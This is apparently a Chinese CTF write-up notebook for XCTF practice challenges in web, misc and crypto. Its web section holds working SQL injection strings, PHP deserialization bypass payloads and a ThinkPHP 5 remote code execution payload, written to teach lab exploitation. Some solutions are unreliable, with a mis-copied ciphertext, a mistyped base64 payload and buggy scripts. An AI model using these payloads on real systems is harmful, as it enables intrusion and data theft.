攻防世界

Web

view source

Des:X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。

查看页面源码。

获得flag

robots

Des:X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。

URL后加上robots.txt,得到一个php页面提示,访问对应php文件。

获得flag

backup

Des:X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!

尝试backup.php,无效。

使用御剑扫描后台,得到index.php.bak,输入后下载备份文件,cat查看。

获得flag

Des:X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’

使用burp抓包,得到cookie.php

继续使用burp抓包,查看Response

获得flag

disable_button

Des:N/A。

页面的flag按钮无响应,猜测被禁用,查看控制台元素。

<input class="btn btn-default" disabled>

将此处的disabled前三字符删除,改为abled,按下按钮。

获得flag

weak_auth

Des:小宁写了一个登陆验证页面,随手就设了一个密码。

查看源码。

<from class="form-inline" method="post" action="./check.php">

有一个验证页面,访问它。

页面空白,查看源码,提示。

<!--maybe you need a dictionary-->

这道题或许不需要字典?

尝试御剑扫描,无果。

好的我错了,随机输入用户名和密码,使用burp抓包,response显示用户名必须为admin,初次爆破无果,手动尝试123456,正确….如果尝试继续用字典的话还是可以爆出来,只是比较费时间。

获得flag

simple_php

Des:小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。

<?php
show_source(__FILE__);
include("config.php");
$a = @$_GET['a'];
$b = @$_GET['b'];
if ($a == 0 and $a) {
    echo $flag1;
}
if (is_numeric($b)) {
    exit();
}
if ($b > 1234) {
    echo $flag2;
}
?>

包含文件config.php,查看源码,无隐藏信息。

页面通过GET传参,根据条件a=0且a为真b不能为数字且大于1234,添加?a=0e1&b=12346s,获得flag

get_post

Des:X老师告诉小宁同学HTTP通常使用两种请求方法,你知道是哪两种吗?

跟着提示走,URL后添加?a=1

hackbar进行POST传参。

获得flag

xff_referer

Des:X老师告诉小宁其实xff和referer是可以伪造的。

X-Forwarded-For: 123.123.123.123

burp抓包,在Request添加:

Referer: https://www.google.com

查看Response

获得flag

webshell

Des:小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。

御剑扫描后台,没用…

查了一下资料,需要其他工具,选择中国蚁剑。

配好之后添加题目网址,输入密码:shell

点击进入,查看flag.txt

获得flag

comman_execution

Des:小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。

给出一个ping窗口,尝试本地回环。

命令可以正常执行,尝试拼接。

可以正常执行拼接命令,查看当前目录所有文件

没用,而且只能在当前目录执行命令,尝试搜索当前用户所有txt文档。

发现flag,根据路径使用cat命令查看flag.txt

获得flag

simple_js

Des:小宁发现了一个网页,但却一直输不对密码。

X-Forwarded-For: 220.249.52.133

要求输入密码,随机输入后显示错误,查看网页源码:

<html>
	<head>
    <title>JS</title>
    <script type="text/javascript">
      function dechiffre(pass_enc) {
        var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
        var tab  = pass_enc.split(',');
        var tab2 = pass.split(',');
      	var i,j,k,l = 0,m,n,o,p = "";
        i = 0;
        j = tab.length;
        k = j + (l) + (n=0);
        n = tab2.length;
        for (i = (o=0); i < (k = j = n); i++) {
          o = tab[i-l];
          p += String.fromCharCode((o = tab2[i]));
          if(i == 5)
            break;
        }
        for (i = (o=0); i < (k = j = n); i++) {
          o = tab[i-l];
          if (i > 5 && i < k-1)
          	p += String.fromCharCode((o = tab2[i]));
        }
        p += String.fromCharCode(tab2[17]);
        pass = p;
        return pass;
    }
    String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
    h = window.prompt('Enter password');
    alert(dechiffre(h));
		</script>
	</head>
</html>

代码审计,加了很多不必要的代码,将fromCharCode字符串中的十六进制转文本,得到55,56,54,79,115,69,114,116,107,49,50,写一个python脚本返回整数所对应的Unicode字符:

s = [55,56,54,79,115,69,114,116,107,49,50]

for i in s:
  print(chr(i), end='')

将输出结果加上给定flag格式。

获得flag

NewsCenter

Des:N/A。

只给了一个输入框,源码无提示。

尝试查看是否存在SQL注入,依次输入1、2、3、4,到4时页面无回显,初步判断存在。继续尝试注入语句,发现页面会无法处理请求,发现需要把前面的语句先闭合再进行注入。

爆表:

'and -1 union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.TABLES#

最下面有一个secret_table,这里面应该就是我们需要的信息。

爆列:

'and -1 union select 1,COLUMN_NAME,DATA_TYPE from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='secret_table'#

得到两个表:

id
fl4g

爆字段:

'and -1 union select 1,2,fl4g from secret_table#

Web进阶

baby_web

Des:想想初始页面是哪个。

页面为1.php

dirb扫描目录,初始页面被重定向到1.php

尝试访问index.php,在控制台查看访问记录。

获得flag

Training-WWW-Robots

Des:N/A。

访问robots.txt

访问fl0g.php

获得flag

unserialize3

Des:N/A。

PHP__wakeup()函数漏洞

在程序执行前,serialize()函数会首先检查是否存在一个魔术方法_sleep(),如果存在,_sleep()方法会先被调用, 然后才执行序列化操作。这个功能可以用于清理对象并返回一个包含对象中所有变量名称的数组。如果该方法不返回任何内容,则NULL被序列化,导致一个E_NOTICE错误。与之相反,unserialize()会检查是否存在一个wakeup方法。如果存在,则会先调用__wakeup方法,预先准备对象数据。但是这个__wakeup()是可以被绕过的。

__wakeup触发于unserilize() 调用之前,当反序列化时的字符串所对应的对象的数目被修改,wake 的函数就不会被调用且不会重建为对象,但是会触发其他的魔术方法。

本题使用code进行传参,利用__wakeup函数漏洞,当序列化字符串表示对象属性个数的值大于真实个数属性时就会跳过__wakeup的执行。

先用php脚本跑出序列化字符串:

<?php
class xctf {
    public $flag = '111';
    public function __wakeup() {
        exit('bad requests');
    }
}
$c = new xctf();
print(serialize($c));
?>

结果:

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

将上述结果赋给code参数。

获得flag

Web php unserialize

Des:N/A。

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

简单写个php脚本:

<?php
class Demo {
  private $file = 'index.php';
  public function __construct($file) {
    $this->file = $file;
  }
  function __destruct() {
    echo @highlight_file($this->file, true);
  }
  function __wakeup() {
    if ($this->file != 'index.php') {
      // the secret is in the fl4g.php
      $this->file = 'index.php';
    }
  }
}
$tmp = new Demo('fl4g.php');
$res = serialize($tmp);
// O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
$res = str_replace('O:4', 'O:+4', $res);	// 绕过preg_match()
$res = str_replace(':1:', ':2:', $res);	// 绕过__wakeup()
var_dump($res);
// "O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
var_dump(base64_encode(res));
// TzorNDoiRGVtbyI6Mjp7czoxMdoiAERlbW8AZmlsZSI7czo40iJmbDRnLnBocCI7fQ==
?>

给变量var传参TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

获得flag

php rce

Des:N/A。

查看控制台元素,无有用信息。

御剑扫描后台,发现robots.txt

根据题目名称搜索Think PHP V5 rce漏洞

发现补丁修改后的代码:

$controller = strp_tags($result[1] ?: $config['default_controller']);

if (!preg_match('/^[A-Za-z](\w)*$/', $controller)) {
  throw new HttpException(404, 'controller not exists:' . $controller);
}

$controller分析,补丁对其名称进行了过滤,继续查看:

try {
  $instance = Loader::controller(
  	$controller,
    $config['url_controller_layer'],
    $config['controller_suffix'],
    $config['empty_controller']
  );
}

代码对controller进行了实例化,进入到Loader部分查看:

public static function controller($name, $layer='controller', $appendSuffix=false, $empty='') {
  list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix);
  
  if (class_exists($class)) {
    return App::invokeClass($class);
  }
  
  if ($empty) {
    $emptyClass = self::parseClass($module, $layer, $empty, $appendSuffix);
    
    if (class_exists($emptyClass)) {
      return new $emptyClass(Request::instance());
    }
  }
}

如果类name存在,进行实例化,并跟进getModuleAndClass

protected static function getModuleAndClass($name, $layer, $appendSuffix) {
  if (false != strpos($name, '\\')) {
    $module = Request::instance()->module();
    $class = $name;
  } else {
    if (strpos($name, '/')) {
      list($module, $name) = explode('/', $name, 2);
    } else {
      $module = Request::instance()->module();
    }
    $class = self::parseClass($module, $layer, $name, $appendSuffix);
  }
  return [$module, $class];
}

此函数将moduleclass返回,用于实例化,利用命名空间的特点,如果能够控制此处的class,即补丁内的controller,就可以实例化任何类。若将控制器设置为\think\App,可以构造payload调用其方法invokeFunction

public static function invokeFunction($function, $var = []) {
  $reflect = new \ReflectionFunction($function);
  $args = self::bindParams($reflect, $vars);
  
  // 记录执行信息
  self::$debug && Log::record('[RUN]' . $reflect->__toString(), 'info');
  
  return $reflect->invokeArgs($args);
}
\think\App/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

接下来设置controller\think\App

$controller = strp_tags($result[1] ?: $config['default_controller']);

result[1]的值传递到$controller中:

public static function module($result, $config, $convert=null)

寻找使用module的位置:

protected static function exec($dispatch, $config) {
  ...
  $data = self::module(
  	$dispatch['module'],
    $config,
    isset($dispatch['convert'] ? $dispatch['convert'] : null)
  );
  ...
}

$result来自$dispatch['module'],往前看:

public static function run(Request $request=null) {
  ...
  $dispatch = self::dispatch;
  if (empty($dispatch)) {
    $dispatch = self::routeCheck($request, $config);
  }
  ...
  $data = self::exec($dispatch, $config);
  ...
}

跟踪routeCheck

public static function routeCheck($request, array $config) {
  ...
  result = Route::check($request, $path, $depr, $config['url_domain_deploy'])
  ...
}

发现解析URL并未进行安全检测。

Request::path()跟踪到pathinfo()

public function pathinfo() {
  if (is_null($this->pathinfo)) {
    if (isset($_GET[Config::get('var_pathinfo')])) {
      // 判断URL是否含有兼容模式参数
      $_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];
      unset($_GET[Config::get('var_pathinfo')]);
    } elseif (IS_CLI) {
      // CLI模式下 index.php module/controller/action/params/...
      $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
    }
    
    // 分析 PATHINFO 信息
    if (!isset($_SERVER['PATH_INFO'])) {
      foreach (Config::get('pathinfo_fetch') as $type) {
        if (!empty($_SERVER[$type])) {
          $_SERVER['PATH_INFO'] = (0 == strops($_SERVER[$type], $_SERVER['SCRIP_NAME'])) ? substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
          break;
        }
      }
    }
    $this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
  }
  return $this->pathinfo;
}

var_info默认配置为s,可以通过$_GET['s']进行传参

构造payload

?s=index/\think\App/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

获得flag

supersqli

Des:随便注。

看源码。

<html>
    <head>
        <meta charset="UTF-8">
        <title>easy_sql</title>
    </head>
    <body>
        <h1>
            取材于某次真实环境渗透,只说一句话:开发和安全缺一不可
        </h1>
        <!-- sqlmap是没有灵魂的 -->
        <form method="get">
            姿势:<input type="text" name="inject" value="1">
            <input type="submit"
        </form>
            <pre></pre>
    </body>
</html>

有过滤。

可以堆叠注入。

flag1919810931114514这个表里面。查询表数据的方法有两种:1.页面默认查询的是words表,需要将这两个表名互换;2.利用MySQL的预处理进行查询。

1';use supersql;set @sql=concat('s', 'elect * from `1919810931114514`');PREPARE pre FROM @sql;EXECUTE pre;--+

知识点:

1.MySQL表名为纯数字(或表名和保留字冲突时),要加反引号,如:

show columns from `1919810931114514`

2.MySQL官方将prepareexecutedeallocate统称为预处理语句。

3.字符拼接函数可以绕过关键字检查,如这里利用的concat

Misc

reverseMe

Des:N/A。

给了一张图片:

wTJRqF.jpg

放进ps翻转图片即可。

获得flag

this_is_flag

Des:Most flags are in the form flag{xxx}, for example:flag{th1s_!s_a_d4m0_4la9}。

获得flag

pdf

Des:菜猫给了菜狗一张图,说图下面什么都没有。

给了一个pdf文件,用binwalk看看。

啥也没有,再用Acrobat软件查看pdf

诶,发现图片后面还有一个文本框,尝试把图片拖到一旁。

获得flag

give_you_flag

Des:菜狗找到了文件中的彩蛋很开心,给菜猫发了个表情包。

给了一个gif图片,查看后发现最后一针有一个二维码,用StegSolve逐帧看看。

得到这一帧图片,发现缺少二维码定位点,尝试自己画上去。

扫描二维码。

获得flag

gif

Des:菜狗截获了一张菜鸡发给菜猫的动态图,却发现另有玄机。

解压压缩包后获得104张图片,只有黑白两种颜色,猜测分别表示1和0?

01100110 01101100 01100001 01100111 01111011 01000110 01110101 01001110 01011111 01100111 01101001 01000110 01111101

然后通过python脚本转换一下:

x = [0b01100110, 0b01101100, 0b01100001, 0b01100111, 0b01111011, 0b01000110, 0b01110101, 0b01001110, 0b01011111, 0b01100111, 0b01101001, 0b01000110, 0b01111101]
flag = ''
for i in x:
  flag += chr(i)
print(flag)

获得flag

掀桌子

Des:菜狗截获了一份报文如下c8e9aca0c6f2e5f3e8c4efe7a1a0d4e8e5a0e6ece1e7a0e9f3baa0e8eafae3f9e4eafae2eae4e3eaebfaebe3f5e7e9f3e4e3e8eaf9eaf3e2e4e6f2,生气地掀翻了桌子(╯°□°)╯︵ ┻━┻。

分析给出的字符串,由0-9a-f组成,两两分组转换成字节后均大于128,而ASCII码范围为0-127,将其减去128python代码如下:

x = '\xc8\xe9\xac\xa0\xc6\xf2\xe5\xf3\xe8\xc4\xef\xe7\xa1\xa0\xd4\xe8\xe5\xa0\xe6\xec\xe1\xe7\xa0\xe9\xf3\xba\xa0\xe8\xea\xfa\xe3\xf9\xe4\xea\xfa\xe2\xea\xe4\xe3\xea\xeb\xfa\xeb\xe3\xf5\xe7\xe9\xf3\xe4\xe3\xe8\xea\xf9\xea\xf3\xe2\xe4\xe6\xf2'
falg = ''
for i in x:
  flag += chr(ord(i)-128)
print(flag)

获得flag

如来十三掌

Des:菜狗为了打败菜猫,学了一套如来十三掌。

给了一个docx文档,用binwalk查看一下信息。

使用命令binwalk -e分离文件。

然后再怎么找也找不到路子做题,看了下wp,佛了。

要用到与佛论禅进行解密。

获得一串字符串,有点像Base64,但是解码后是乱码,想想题目,十三,尝试一下rot13

然后再进行Base64解码

获得flag

SimpleRAR

Des:菜狗最近学会了拼图,这是他刚拼好的,可是却搞错了一块(ps:双图层)。

只给了文件flag.txt

可是除了这个文件啥也没有了呀…

WinRAR打开压缩包试试(别问为什么,问就是套路)。

WinHex查看数据。

here之后的数据应该就是那张图片了,搜索一下rar每个块的文件头:0x74

将高亮处改为74,保存。图片出来了。

一片纯白,按提示用ps查看图层,但显示打开错误…用binwalk看看这是什么。

改后缀为.gif,再尝试打开。

只有两个空白图层,将它们分别保存后用StegSolve看看。

图层1。

图层2。

两张被分割的二维码,没有定位符…

唉,拼接吧。本来想用ps的图层,然而学艺不精,丢在word里面拼接之后,再用画图工具弄上定位符。

获得flag

坚持60s

Des:菜狗发现最近菜猫不爱理他,反而迷上了菜鸡。

这…之前做过。

使用命令binwalk -e分离文件出来,然后切换到分离目录,grep -r "flag"

用记事本打开包含flag的文档,搜索flag

里面的内容是Base64编码,解码后进行提交。

获得flag

base64stego

Des:菜狗经过几天的学习,终于发现了如来十三掌最后一步的精髓。

题目给的压缩包里有一个加密文件,但是没有密码提示,用WinHex打开压缩包看看。

伪加密,将高亮处改为00,保存。

正常打开stego.txt,一大段Base64编码。

进行Base64解码,获得一串无用字符串Steganography is the art and science of writing hidden messages in such a way that no one

是一道Base64隐写,附上python2.7脚本:

def get_base64_diff_value(s1, s2):
  base64chars = 'QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890+/'
  res = 0
  for i in xrange(len(s1)):
    if s1[i] != s2[i]:
      return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
  return res

def solve_stego():
  with open('stego.txt', 'rb') as f:
    file_lines = f.readlines()
    
  bin_str = ''
  for line in file_lines:
    steg_line = line.replace('\n', '')
    norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '')
    diff = get_base64_diff_value(steg_line, norm_line)
    pads_num = steg_line.count('=')
    if diff:
      bin_str += bin(diff)[2:].zfill(pads_num*2)
    else:
      bin_str += '0'*pads_num*2
  res_str = ''
  for i in xrange(0, len(bin_str), 8):
    res_str += chr(int(bin_str[i:i+8], 2))
  print res_str
solve_stego()

获得flag

ext3

Des:今天是菜狗的生日,他收到了一个Linux系统光盘。

给了一个ext文件,是Linux系统文件,尝试挂载一下。此处的wsl kali由于配置环境不够,使用VMware kali虚拟机进行操作。

挂载:mount f1fc23f5c743425d9e0073887c846d23 /mnt/

查找:find 'flag' /mnt/,发现有一个/mnt/O7avZhikgKgbF/flag.txt文件。

查看:cat /mnt/O7avZhikgKgbF/flag.txt

Base64解码。

获得flag

stegano

Des:菜狗收到了图后很开心,玩起了pdf提交格式为flag{xxx},解密字符需小写。

题目给了一个pdf文件,使用浏览器打开,Ctrl+A选中所有,将文本复制到记事本。

没有规律,尝试摩斯密码,将A替换为.,B替换为-python代码附上:

s = 'BABA BBB BA BBA ABA AB B AAB ABAA AB B AA BBB BA AAA BBAABB AABA ABAA AB BBA BBBAAA ABBBB BA AAAB ABBBB AAAAA ABBBB BAAA ABAA AAABB BB AAABB AAAAA AAAAA AAAAB BBA AAABB'
s1 = s.replace('A', '.')
s2 = s.replace('B', '-')
print(s2)

得到一串摩斯加密,摩尔斯电码转换器:在线进行摩尔斯电码和英文字母的相互转换,可以把莫尔斯电码转换为英文字母,也可把英文字母转换为摩尔斯电码 (zhongguosou.com),因为其他网站不是解不出来就是乱码…然后对得到的字符串进行小写处理,python脚本:

s = 'FLAG1NV151BL3M3554G3'
print(s.lower())

获得flag

功夫再高也怕菜刀

Des:菜狗决定用菜刀和菜鸡决一死战。

题目给了一个后缀为.pcapng的文件,用binwalk看看。

使用命令binwalk -e分离文件,有一个空的flag.txt文件,用Wireshark打开原始文件看看,查找flag.txt字段。

189个包、195个包、639个包、第641个包都一样。

1150个包,多了一张6666.jpg图片。

右键第1150个包,追踪TCP数据流

把高亮及后面的数据进行复制,然后在WinHex里新建一个文件,粘贴过去,文件大小不要太小就行,格式选择ASCII Hex

然后Ctrl+S保存为jpg文件,打开后获得一个密码。

然后我们将这个文件手动分离出来:dd if=acfff53ce3fa4e2bbe8654284dfc18e1.pcapng of=1.zip skip=1422689 bs=1

按密码打开压缩包里的flag.txt

获得flag

somethin_in_image

Des:N/A。

Erik-Baleog-and-Olaf

Des:N/A。

binwalk分析,为png图片,改后缀,使用StegSolve查看,绿1通道发现中间有一个二维码。

截图保存二维码,继续放入StegSolve分通道查看,得到更清楚的二维码。

hit-the-core

Des:N/A。

使用strings命令查看字符串,发现这么一段内容:

cvqAeqacLtqazEigwiXobxrCrtuiTzahfFreqc{bnjrKwgk83kgd43j85ePgb_e_rwqr7fvbmHjklo3tews_hmkogooyf0vbnk0ii87Drfgh_n kiwutfb0ghk9ro987k5tfb_hjiouo087ptfcv}

前几个大写字母中间都隔了4个字符,上python输出一遍:

data = 'cvqAeqacLtqazEigwiXobxrCrtuiTzahfFreqc{bnjrKwgk83kgd43j85ePgb_e_rwqr7fvbmHjklo3tews_hmkogooyf0vbnk0ii87Drfgh_n kiwutfb0ghk9ro987k5tfb_hjiouo087ptfcv}'
flag = ''
for i in range(3, len(data), 5):
  flag += data[i]
print(flag)

glance-50

Des:N/A。

一个gif图片,先看看属性。

XCUAcI.jpg

可知宽度明显不对,WinHex打开修改。

Crypto

flag in your hand

Des:N/A。

base64

Des:元宵节灯谜是一种古老的传统民间观灯猜谜的习俗。 因为谜语能启迪智慧又饶有兴趣,灯谜增添节日气氛,是一项很有趣的活动。 你也很喜欢这个游戏,这不,今年元宵节,心里有个黑客梦的你,约上你青梅竹马的好伙伴小鱼, 来到了cyberpeace的攻防世界猜谜大会,也想着一展身手。 你们一起来到了小孩子叽叽喳喳吵吵闹闹的地方,你俩抬头一看,上面的大红灯笼上写着一些奇奇怪怪的 字符串,小鱼正纳闷呢,你神秘一笑,我知道这是什么了。。

给了一个txt文档,内容:Y3liZXJwZWFjZXtXZWxjb21lX3RvX25ld19Xb3JsZCF9Base64 在线编码解码 | Base64 加密解密 - Base64.us

获得flag

Caesar

Des:你成功的解出了来了灯谜,小鱼一脸的意想不到“没想到你懂得这么多啊!” 你心里面有点小得意,“那可不是,论学习我没你成绩好轮别的我知道的可不比你少,走我们去看看下一个” 你们继续走,看到前面也是热热闹闹的,同样的大红灯笼高高挂起,旁边呢好多人叽叽喳喳说个不停。你一看大灯笼,上面还是一对字符,你正冥思苦想呢,小鱼神秘一笑,对你说道,我知道这个的答案是什么了。

给了一个txt文档,内容:Y3liZXJwZWFjZXtXZWxjb21lX3RvX25ld19Xb3JsZCF9凯撒密码在线加密解密 - 千千秀字 (qqxiuzi.cn),尝试不同的位数。

获得flag

Morse

Des:小鱼得意的瞟了你一眼,神神气气的拿走了答对谜语的奖励,你心里暗暗较劲 想着下一个谜题一定要比小鱼更快的解出来。不知不觉你们走到了下一个谜题的地方,这个地方有些奇怪。 上面没什么提示信息,只是刻着一些0和1,感觉有着一些奇怪的规律,你觉得有些熟悉,但是就是想不起来这些01代表着什么意思。一旁的小鱼看你眉头紧锁的样子,扑哧一笑,对你讲“不好意思我又猜到答案了。”(flag格式为cyberpeace{xxxxxxxxxx},均为小写)。

txt文档内容:

上脚本:

str = '11 111 010 000 0 1010 111 100 0 00 000 000 111 00 10 1 0 010 0 000 1 00 10 110'
str = str.replace('1', '-')
str = str.replace('0', '.')
str = str.split(' ')

dic = {
    # 26 个英文字符
    'A': '.-', 'B': '-...', 'C': '-.-.',
    'D': '-..', 'E': '.', 'F': '..-.',
    'G': '--.', 'H': '....', 'I': '..',
    'J': '.---', 'K': '-.-', 'L': '.-..',
    'M': '--', 'N': '-.', 'O': '---',
    'P': '.--.', 'Q': '--.-', 'R': '.-.',
    'S': '...', 'T': '-', 'U': '..-',
    'V': '...-', 'W': '.--', 'X': '-..-',
    'Y': '-.--', 'Z': '--..',

    # 10 个数字
    '0': '-----', '1': '.----', '2': '..---',
    '3': '...--', '4': '....-', '5': '.....',
    '6': '-....', '7': '--...', '8': '---..',
    '9': '----.',

    # 16 个特殊字符
    ',': '--..--', '.': '.-.-.-', ':': '---...', ';': '-.-.-.',
    '?': '..--..', '=': '-...-', "'": '.----.', '/': '-..-.',
    '!': '-.-.--', '-': '-....-', '_': '..--.-', '(': '-.--.',
    ')': '-.--.-', '$': '...-..-', '&': '. . . .', '@': '.--.-.'
}

def decode(x):
    flag = ''
    for i in x:
        if i == '':
            flag += ' '
        else:
            change = dict(map(lambda t:(t[1], t[0]), dic.items()))
            flag += change[i]
    return flag

res = decode(str)
print(res.lower())

获得flag

不仅仅是Morse

Des:“这个题目和我们刚刚做的那个好像啊但是为什么按照刚刚的方法做出来答案却不对呢” ,你奇怪的问了问小鱼,“可能是因为还有一些奇怪的加密方式在里面吧,我们在仔细观察观察”。两个人安安静静的坐下来开始思考,很耐心的把自己可以想到的加密方式一种种的过了一遍,十多分钟后两个人 异口同声的说“我想到了!”。一种食物,格式为cyberpeace{小写的你解出的答案}。

先把/符号给替换成空格 ,然后进行莫斯解密,上脚本:

s = '<txt content>'
print(s.replace('/', ' '))

HHHH之后的字母全为AB,猜测是培根加密,在线工具|培根密码加解密 (bugku.com)

ATTACKANDDEFENCEWORLDISINTERESTING
attackanddefenceworldisinteresting

获得flag

混合编码

Des:经过了前面那么多题目的历练,耐心细致在解题当中是必不可少的品质,刚巧你们都有,你和小鱼越来越入迷。那么走向了下一个题目,这个题目好长好长,你知道你们只要细心细致,答案总会被你们做出来的,你们开始慢慢的尝试,慢慢的猜想 ,功夫不负有心人,在你们耐心的一步步的解答下,答案跃然纸上,你俩默契一笑,相视击掌走向了下面的挑战。格式为cyberpeace{小写的你解出的答案}。

Base64解码,

ASCII解码:

LzExOS8xMDEvMTA4Lzk5LzExMS8xMDkvMTAxLzExNi8xMTEvOTcvMTE2LzExNi85Ny85OS8xMDcvOTcvMTEwLzEwMC8xMDAvMTAxLzEwMi8xMDEvMTEwLzk5LzEwMS8xMTkvMTExLzExNC8xMDgvMTAw

Base64解码:

/119/101/108/99/111/109/101/116/111/97/116/116/97/99/107/97/110/100/100/101/102/101/110/99/101/119/111/114/108/100

ASCII转字符:

welcometoattackanddefenceworld

获得flag

幂数加密

Des:你和小鱼终于走到了最后的一个谜题所在的地方,上面写着一段话“亲爱的朋友, 很开心你对网络安全有这么大的兴趣,希望你一直坚持下去,不要放弃 ,学到一些知识, 走进广阔的安全大世界”,你和小鱼接过谜题,开始了耐心细致的解答。flag为cyberpeace{你解答出的八位大写字母}。

txt内容:

8842101220480224404014224202480122

获得flag

Railfence

Des:被小鱼一连将了两军,你心里更加不服气了。两个人一起继续往前走, 一路上杂耍卖艺的很多,但是你俩毫无兴趣,直直的就冲着下一个谜题的地方去了。 到了一看,这个谜面看起来就已经有点像答案了样子了,旁边还画着一张画,是一副农家小院的图画,上面画着一个农妇在栅栏里面喂5只小鸡,你嘿嘿一笑对着小鱼说这次可是我先找到答案了。

txt内容:

ccehgyaefnpeoobe{lcirg}epriec_ora_g

用栅栏解密试试,开头有一点相似,但解不出来…W型栅栏加密,http://www.atoolbox.net/Tool.php?Id=777,按照提示栏数为5

获得flag

easy RSA

Des:解答出来了上一个题目的你现在可是春风得意,你们走向了下一个题目所处的地方 你一看这个题目傻眼了,这明明是一个数学题啊!!!可是你的数学并不好。扭头看向小鱼,小鱼哈哈一笑 ,让你在学校里面不好好听讲现在傻眼了吧~来我来!三下五除二,小鱼便把这个题目轻轻松松的搞定了。flag格式为cyberpeace{小写的你解出的答案}。

txt内容:

在一次RSA密钥对生成中,假设p=473398607161,q=4511491,e=17
求解出d

python脚本:

# 分解大整数
import math

# 求欧拉函数f(n)
def getEuler(prime1, prime2):
    return (prime1-1)*(prime2-1)

# 19d - 920071380k = 1
# 求私钥 d
def getDkey(e, eulerValue): # 辗转相除
    k = 1
    while True:
        if (((eulerValue * k) + 1) % e) == 0:
            (d, m) = divmod(eulerValue * k + 1, e)
            return d    # 避免科学计数失去精度
        k += 1

# 求明文
def getPlain(c, d, n):
    return pow(c, d, n)

if __name__ == '__main__':
    p = 473398607161
    q = 4511491
    d = getDkey(17, getEuler(p, q))
    print(d)

获得flag

easychallenge

Des:你们走到了一个冷冷清清的谜题前面,小鱼看着题目给的信息束手无策,丈二和尚摸不着头脑 ,你嘿嘿一笑,拿出来了你随身带着的笔记本电脑,噼里啪啦的敲起来了键盘,清晰的函数逻辑和流程出现在了电脑屏幕上,你敲敲键盘,更改了几处地方,运行以后答案变出现在了电脑屏幕上。

题目给了一个pyc文件,需要进行反编译。在python环境配置好的基础上,pip install uncompyle进行工具安装,然后使用命令uncompyle filename进行反编译,得到如下源代码:

import base64

def encode1(ans):
  s = ''
  for i in ans:
    x = ord(i) ^ 36
    x = x + 25
    s += chr(x)
  return s

def encode2(ans):
  s = ''
  for i in ans:
    x = ord(i) + 36
    x = x ^ 36
    s += chr(x)
  return s

def encode3(ans):
  return base64.b32encode(ans)

flag = ''
print 'Please Input your flag:'
flag = raw_input()
final = 'UC7KOWVXWVNKNIC2XCXKHKK2W5NLBKNOUOSK3LNNVWW3E==='

if encode3(encode2(encode1(flag))) == final:
  print 'correct'
else:
  print 'error'

解密脚本:

import base64

def decode3(ans):
    return base64.b32decode(ans)

def decode2(ans):
    s = ''
    for i in ans:
        i = i ^ 36
        x = i - 36
        s += chr(x)
    return s

def decode1(ans):
    s = ''
    for i in ans:
        i = ord(i) - 25
        x = i ^ 36
        s += chr(x)
    return s

flag = 'UC7KOWVXWVNKNIC2XCXKHKK2W5NLBKNOUOSK3LNNVWW3E==='
flag = decode1(decode2(decode3(flag)))
print(flag)

获得flag

转轮机加密

Des:你俩继续往前走,来到了前面的下一个关卡,这个铺面墙上写了好多奇奇怪怪的 英文字母,排列的的整整齐齐,店面前面还有一个大大的类似于土耳其旋转烤肉的架子,上面一圈圈的 也刻着很多英文字母,你是一个小历史迷,对于二战时候的历史刚好特别熟悉,一拍大腿:“嗨呀!我知道 是什么东西了!”。提示:托马斯·杰斐逊。 flag,是字符串,小写。

上网查询了一下转轮机加密,做题思路如下:

先根据密钥对各行进行替换,然后根据密文,对第一列元素进行排列,对每行元素进行循环,每一列列出来,Des中提到了二战,唯一读的通顺的就是

18:FIREINTHEHOLE

获得flag

Normal RSA

Des:你和小鱼走啊走走啊走,走到下一个题目一看你又一愣,怎么还是一个数学题啊 小鱼又一笑,hhhh数学在密码学里面很重要的!现在知道吃亏了吧!你哼一声不服气,我知道数学很重要了!但是工具也很重要的,你看我拿工具把他解出来!你打开电脑折腾了一会还真的把答案做了出来,小鱼有些吃惊,向你投过来一个赞叹的目光。

方法1

给了flag.encpubkey.pem两个文件,分别是密文和公钥,工具:3summer/CTF-RSA-tool: a little tool help CTFer solve RSA problem (github.com)

命令:

.\solve.py --verbose -k .\pubkey.pem --decrypt .\flag.enc

获得flag

方法2

